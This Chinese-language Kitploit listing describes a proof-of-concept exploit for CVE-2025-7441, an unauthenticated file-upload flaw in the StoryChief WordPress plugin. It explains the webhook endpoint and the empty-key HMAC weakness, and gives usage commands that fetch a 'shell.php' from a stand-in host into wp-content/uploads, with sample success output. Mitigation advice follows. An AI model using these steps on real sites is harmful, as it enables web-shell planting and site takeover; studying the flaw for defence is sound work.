Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - 未经身份验证的任意文件上传 | Kitploit
工具/GitHubGitHub/anothersec/cve-2025-7441
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubanothersec/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - 未经身份验证的任意文件上传

查看仓库
312个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 - 任意文件上传

漏洞 (CVE-2025-7441) - 技术总结

  • 受影响组件: StoryChief WordPress 插件
  • 漏洞类型: 未认证的任意文件上传
  • 漏洞端点: /wp-json/storychief/webhook
  • 根本原因: 该插件接受一个 JSON webhook 载荷,其中含有一个 URL(位于 data.featured_image.data.sizes.full),并在此 URL 上执行服务器端 HTTP GET 请求,但缺少充分的验证(无域名白名单、MIME/内容检查不足,且文件保存于公共上传路径)。
  • 影响: 未认证的攻击者可导致服务器获取并将攻击者控制的内容持久化到 WordPress 上传目录(例如 wp-content/uploads/YYYY/MM/<filename>)。若上传的文件可被服务器解释/执行(例如 PHP 文件且服务器允许在该路径下执行 PHP),则可能导致远程代码执行 (RCE) 及完全控制站点。
  • CVSS(示例): 9.8(严重)——严重性取决于主机配置和执行许可。

关于本 PoC(CVE-2025-7441)

此脚本自动化了该漏洞的典型利用验证流程:

  1. 构建一个 webhook JSON 载荷,将远程文件 URL 放入 data.featured_image.data.sizes.full。
  2. 计算载荷的 HMAC-SHA256 签名(脚本默认使用空密钥计算),并将其存入 meta.mac。
  3. 将载荷 POST 到 <site_url>/wp-json/storychief/webhook。
  4. 验证所获取的文件是否出现在预期的上传路径下:

<site_url>/wp-content/uploads///

如果文件响应 HTTP 200,脚本报告成功;否则打印 <failed to upload>。

脚本包含以下标志:--file-url、--verbose、--use-curl 和 --retries。

使用方法

python3 CVE-2025-7441.py <site_url>

位置参数

  • <site_url> — 目标站点的基础 URL。例如:http://127.0.0.1:5000/ 或 https://target.example/

标志

  • --file-url — 覆盖 PoC 使用的默认远程文件 URL。默认值:硬编码的示例原始 GitHub URL。例如:--file-url https://127.0.0.1:5000/zip.php
  • --verbose — 启用详细输出(打印请求/响应详情及检查进度)。
  • --use-curl — 使用 curl 子进程发送 POST 请求(备选模式)。需要安装 curl。
  • --retries — 检查文件预期上传路径的尝试次数。默认值:1。例如使用 --retries 5 来多次轮询。

示例命令

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/

指定自定义远程文件 URL

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php

详细输出和多次检查

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5

使用 curl 发送 POST

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose

输出:

root@kitploit:~
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php

缓解措施

缓解与修复 短期:

  • 一旦可用,立即将 StoryChief 升级到已打补丁的版本。
  • 通过 WAF 或服务器规则阻止或限制 /wp-json/storychief/webhook。
  • 限制服务器对外部不可信域名的出站抓取或出站流量。

开发者指导:

  • 在任何远程抓取后验证文件类型和内容;使用安全解析器验证图像,并拒绝无效文件。
  • 要求对引起服务器端下载或文件创建的 webhook 进行身份认证。
  • 确保 HMAC/签名验证已实现并强制执行。
  • 将上传内容存储在 webroot 之外,或禁用 wp-content/uploads 中上传文件的执行。
下载工具